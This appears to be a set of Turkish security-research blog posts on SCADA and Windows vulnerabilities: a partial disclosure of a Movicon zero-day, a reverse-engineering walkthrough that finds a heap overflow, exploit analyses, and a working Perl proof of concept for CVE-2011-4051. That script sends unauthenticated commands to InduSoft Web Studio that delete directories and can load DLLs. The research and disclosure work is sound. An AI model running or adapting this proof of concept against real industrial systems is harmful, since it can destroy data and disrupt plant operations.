magnify
formats

Progea Movicon SCADA Zero-day

24 Kasım 2013 tarihinde Pastebin’de , Progea Movicon SCADA zafiyetleriyle ilgili bir paylaşımda bulunmuştuk. Paylaştığımız analizde zafiyetlere gitmek için geçilen yollardan bahsedip , zafiyetleri ise kesin olarak işaret etmemiştik. Malesef ICS-CERT ekibi dışında zafiyetlere ulaşıp , bizimle iletişime geçen kurum ya da birey olmadı.

Movicon SCADA bir çok ülkede kullanılan yaygın bir otomasyon yazılımı. Referanslarına baktığımızda Türkiye ile ilgili şöyle bir yazı gözümüze çarptı;

“Avrupa’nın en yüksek ikinci binası olan Sapphire of İstanbul İklimlendirme ve Havalandırma Otomasyonu Progea Movicon Scada yazılımı ile yapılmıştır.”

ICS-CERT , vendor ile iletişime geçip , yama ile ilgili süreci başlattı. Ayrıca ICS-CERT Alert ‘ a üye kurum ve organizasyonlara bu zafiyet ile ilgili detaylı bilgi ve çözüm önerileri iletilmiş durumda.

Ülkemizde de hem özel sektör hem kamu tarafında bu şekilde ciddi ve koordineli çalışan kurumları yakında göreceğimizden umutluyum. Zira siber istihbaratı  ”hack, zafiyet, zararlı yazılım” haberlerini paylaşmak olarak görürsek, işin magazin tarafından öteye geçememiş oluruz.

Zafiyetler henüz yamanmadığı için, bu blog yazısında sadece Information Disclosure zafiyeti için bir exploit yayınlayacağız.  Pastebin’de ( http://pastebin.com/kzEAUDw0 ) okuduğunuz analizde aslında özetle program , network üzerinden aldığı datanın ilk 4 byte ‘ nın sırasıyla 4d, 6f , 76 , 58 olup olmadığını kontrol ediyor. Aynı zamanda yine bu döngü içerisinde 5. byte ın 31h ‘ den büyük olup olmadığını ve 6. byte ın sıfır olup olmadığına bakıyor. Eğer gelen data bu yapıdaysa, paketi işlemeye başlıyor.

5. byte (opcode) programın hangi işlemi çağıracağını belirliyor. Toplamda çağırılabilecek 65 işlem mevcut.

Opcode 25′de bir information disclosure açığı bulunuyor.

 

Eğer 25. işlem çağrılırsa  , program GetVersionEx API sini çağırıyor.  Daha sonra GetVersionEx ile dönen değerleri , client’a send() ile gönderiyor.

Aşağıdaki PoC , bu zafiyeti sömürmek için yeterli olacaktır.

PoC kodunu çalıştırdığımızda alacağımız ekran çıktısı şu şekilde olacaktır;

5. byte ‘ dan sonraki her bir byte aslında bu yazılımın çalıştığı sistem hakkında bize bilgi vermektedir. Örneğin kırmızı ile işaretlenmiş 6. byte , dwMajorVersion ‘ u belirtmektedir.

Eğer dwMajorVersion =  0×06 ise bu sistem Windows Vista/7 veya 2008 ‘ dir.

dwMajorVersion = 0×05 ise sistem Windows 2000/2003 ve XP ‘ dir.

Test ortamında Movicon SCADA yazılımı Windows 7 üzerinde çalıştığı için bu sonuçla karşılaştık. Eğer bu yazılım Windows XP üzerinde çalışsaydı karşılaşacağımız sonuçta 6.byte , 0×05 olacaktı.

 
 Share on Facebook Share on Twitter Share on Reddit Share on LinkedIn
No Comments  comments 
formats

IE Use After Free Analizi (CVE-2012-4792)

28 Aralıkta yayınlanan Internet Explorer Use After Free sıfır gün açıklığının (CVE-2012-4792) hızlıca ve kabaca analizidir.

http://www.signalsec.com/publications/UAF-Analysis.pdf

—-

p.s. heap , uaf nedir diyenler şu adreslere göz atabilir;
https://www.owasp.org/index.php/Using_freed_memory
http://www.informit.com/articles/article.aspx?p=1081496 (advanced windows debugging - heap part)
http://www.signalsec.com/publications/TR-HeapExploiting.pdf
http://blog.exodusintel.com/2013/01/02/happy-new-year-analysis-of-cve-2012-4792/
 
 Share on Facebook Share on Twitter Share on Reddit Share on LinkedIn
No Comments  comments 
formats

0day bulma yöntemleri

Kapalı kutu (black-box) uygulama güvenliği testleri gerçekleştirirken , ilk yazımızda bahsettiğimiz gibi önce uygulama hakkında bilgi edinmekle işe başlamak gerekiyor. Uygulamanın özelliklerinin tespiti, çağırdı sistem kütüphanelerinin tespiti…  (örneğin ws2_32.dll kütüphanesini import ediliyorsa , uygulama network işlemleri gerçekleştirecektir.)

Bu yazımızda ekibimizin güvenlik testini yaptığı gerçek bir uygulamada network tabanlı bir zafiyeti nasıl tespit ettiğimiz ele alınacaktır.

Network işlemleri gerçekleştiren bir windows uygulaması pakat alım işlemini genelde  recv() , WSARecv(), WSARecvEx gibi fonksiyonları kullanarak yapar. Network tabanlı zafiyet araştırmalarında bu  fonksiyonlar genellikle incelenir ve potansiyel güvenlik açıkları, uygulamanın aldığı paketler manipüle edilerek saptanabilir.

Bazen test edilen uygulamanın client ve server tarafı aynı sistemde (localhost) çalışıyor  olabilir,  server uygulaması yine aynı sistem üzerinde başka bir yazılımla haberleşiyor olabilir. Böyle durumlarda, windows’da bu paketleri (loopback packet) Wireshark vb. yazılımlar ile dinleyemeyebilir ve doğal olarak manipüle edemeyebilirsiniz.

Loopback paketlerin tespiti ve manipülasyonu için reversing (tersine mühendislik) yöntemlerine ihtiyaç duyulur.Yapılması gereken ilk iş uygulamada recv , wsarecv gibi fonksiyonları tespit etmektir.

Yukarıdaki resimde test ettiğimiz uygulamanın çağırdı bir recv() fonksiyonu görülebilir. Yukarıdaki fonksiyonu C koduna çevirirsek şöyle olacaktır;

recv(var_1c, var_14, var_10, 0)

Bu durumda var_14  alınan pakete,  var_10 ise alınan paketin uzunluğuna (len) tekabül ediyor. recv() fonksiyonu çalıştıktan sonra , uygulama gelen bir paket var mı yok mu diye  “cmp “ ile kontrol edip  “jle” ile şartlı zıplama gerçekleştiriyor.

Uygulama bir paket aldığında yukarıdaki fonksiyona zıplıyor ve burada görüldüğü gibi gelen paketin “KEY” ile başlayıp başlamadığını kontrol ediyor. Eğer gelen paket “KEY” ile başlıyorsa yazının devamında da göreceğimiz gibi uygulama bu paketi işlemeye başlıyor.  Bazı uygulamalarda paket / protokol yapısına, bilgisine ulaşmak bu kadar kolay olmayabilir,  gelen-giden paketlerde çeşitli encryption ve decryptionlar uygulanabilir.

recv() fonksiyonu ile uygulamanın aldığı paketi yakalamak için  debuggerda recv()’den sonra bir  breakpoint koyuyoruz ve uygulamayı çalıştırıyoruz.

Uygulamamız bir paket aldığında ve recv() fonksiyonu çalıştığında, breakpoint koyduğumuz yerde duruyor.  Gelen paketi EAX ‘ e atana kadar  debuggerda “t”  komutu ile uygulamayı adım adım çalıştırmaya devam ediyoruz.(step into)  En son “d eax” ile komutuyla gelen paketin içeriğini görüyoruz. Paket beklediğimiz gibi “KEY” imzası ile başlıyor.

 

 

Gelen paket “KEY” ile başlıyorsa , uygulama yukarıdaki işlemleri gerçekleştiriyor.  (IDA Yorum satırları  ekleyerek, her satırı oldukça açıklamaya çalıştık. )

Uygulama gelen paketin boyutu kadar malloc fonksiyonu ile hafıza tahsisi gerçekleştirip , tahsis ettiği hafızaya , gelen paketi kopyalıyor.  Bu kopyalama işlemini görüldüğü gibi strNcpy güvenli fonksiyonu ile yapıyor , üstelik strncpy’nin “size” değişkenini de gelen paketin boyutunun 1 eksiği olarak belirleyip, off-by-one hatası önlemini de gerçekleştirmiş oluyor.

İlk bakışta buradan birşey bulamayacağımızı düşünürken ,  strncpy’den hemen sonra, uygulamanın aldığı paket (recvbuf) ve paketin boyutu (recvbuflen) ile sub_401822  alt fonksiyonunu çağırdığını farkediyoruz.

 

Uygulama bu alt fonksiyonda 800h’lık (2048 byte) bir alan tahsisi gerçekleştiriyor ve bu alana memcpy ile gelen paketi kopyalıyor. İlk bakışta buradaki zafiyet/hata farkedilmeyebilir.  Ancak  “memcpy” öncesi gelen datanın bir kontrolü yapılmamış ve “memcpy”  fonksiyonunun “size” değişkenine doğrudan uygulamanın aldığı paketin uzunluğu (recvbuflen) verilmiş.  Dolayısıyla uygulamaya “KEY” ile başlayan ve 2048 byte’dan daha uzun bir paket geldiğinde heap tabanlı bir hafıza taşması meydana gelecektir.

Bu alt fonksiyonda  , hafızı tahsisinin boyutu statik değil de dinamik olarak gelen datanının uzunluğuna göre (malloc(sizeof(recvbuf) ) belirlenmiş olsaydı  ya da “memcpy fonksiyonun size değişkenine statik olarak 800h’den daha küçük bir integer yazılsaydı , hafıza taşmasının oluşması engellenebilirdi.

 
 Share on Facebook Share on Twitter Share on Reddit Share on LinkedIn
No Comments  comments 
formats

iPucu: Malware Forensics (Zararlı Yazılım ve Adli Bilişim)

Eğer debug information özelliği derleme esnasında kapatılmamışsa , çalıştırabilir dosya formatı içerisinde debug bilgilerine ulaşmak mümkün olmaktadır.
Bazen bu debug bilgileri sayesinde , programın hangi işletim sisteminde oluşturulduğu , hangi derleyici kullanıldığı , programın işletim sistemindeki hangi kullanıcı tarafından oluşturulduğu gibi bilgilere ulaşılabilir.

Yukarıdaki resimde benim kendi sistemimde derlediğim bir EXE nin debug bilgileri görülebilir. PE içerisinde debug bilgisi aramak için , hedef EXE ‘ yi herhangi bir hex editör ile açıp içerisinde ”RSDS” etiketini aratabilirsiniz.

Bu bilgiler malware analiz/forensic için bazen muazzam sonuçlar ortaya çıkarabiliyor :) Aşağıdaki resimde PlugX RAT zararlı yazılımının debug bilgileri görülüyor;

 

Bu debug bilgisiyle PlugX zararlısı yazarının nickname’ine ulaşan AlienVault Research ekibi , araştırmayı ilerleterek Çinli hackerın fotoğraf ve gps bilgisine kadar ulaşmayı başardılar.

plugxauthor

AlienVault’un Yazısı için: http://labs.alienvault.com/labs/index.php/2012/tracking-down-the-author-of-the-plugx-rat/

 
 Share on Facebook Share on Twitter Share on Reddit Share on LinkedIn
No Comments  comments 
formats

Introduction to ARM Exploitation

ARM Exploiting Paper (Turkish)

http://www.signalsec.com/publications/arm_exploiting.pdf

 
 Share on Facebook Share on Twitter Share on Reddit Share on LinkedIn
No Comments  comments 
formats

(d)evolution of community

Tarih 09 Eylül 2012 yazar içinde Genel

-up to 2008 , turkey -

enderunix, mdkgroup, int6, siyahsapka.org (the old one), core, nrktx, uzayhan, sctzine, hellcode etc…

-since 2008 , turkey -

havij children , certification monkeys , backtrack/metasploit console kiddies….

—-

New Hacking Manifesto

VX Manifesto

 
 Share on Facebook Share on Twitter Share on Reddit Share on LinkedIn
No Comments  comments 
formats

CVE-2012-0667 – Analysis

The vulnerability occurs when parsing 16-bit integer in sizelength of impn, imgp and vrsg atoms in a quicktime movie file.

Basically it converts the 16-bit to 32-bit integer. Due to it’s a signed integer , it passes some comparison checks.

Then I think it uses this integer as an “unsigned” in a memory copy operation and that causes the crash.

impn

compare

crash

 
 Share on Facebook Share on Twitter Share on Reddit Share on LinkedIn
No Comments  comments 
formats

Browser Tabanlı Malware / Exploit Analizi (CVE-2012-0003)

olly

Makale: http://www.signalsec.com/publications/exploit-cve-2012-0003.pdf

 
 Share on Facebook Share on Twitter Share on Reddit Share on LinkedIn
No Comments  comments 
formats

CVE-2011-4051 : Proof of Concept Code

InduSoft Web Studio 6.1 and 7.0 allows unauthenticated users to run commands such as delete/create file, folder and load DLL.

Vulnerability was discovered by Luigi Auriemma

Here is a simple PoC for this vulnerability:


#PoC for CVE-2011-4051
#CEServer Module in InduSoft Web Studio 6.1 and 7.0 allows unauthenticated user to run commands.
#These are ; remove file/directory - send/update file - start/stop runtime project
#and Load DLL into WebStudio process.
#Modify the script to suit your needs.
#Vulnerability discovered by Luigi Auriemma
#http://zerodayinitiative.com/advisories/ZDI-11-330/
#Celil Ünüver
#www.signalsec.com


use IO::Socket;
$host = "192.168.138.128";
$port = 4322;
$sock = IO::Socket::INET->new( PeerAddr => $host,
PeerPort => $port,
Proto => 'tcp') || "Unable to create socket";

$start = "\x07";
$rmvfile = "\x15";
$rmvdir = "\x10";
$dlltag = "\x31";
$sendfile ="\x04";
#0x10 remove directory
#0x15 remove file
#0x01 update a file
#0x08 stop softplc runtime project
#0x07 start softplc runtime project
#0x31 run/load DLL
$data = "C:\\Python24";
$removedir = $rmvdir.$data;
print $sock $removedir;
print "\nOverflow request sent....";
close($sock);

 
 Share on Facebook Share on Twitter Share on Reddit Share on LinkedIn
No Comments  comments 
formats

Presentation: Industrial Chaos – SCADA Hacking

Slides of my talk about SCADA Hacking (Turkish) :

http://www.signalsec.com/publications/endustriyel-kaos.pdf

 
 Share on Facebook Share on Twitter Share on Reddit Share on LinkedIn
No Comments  comments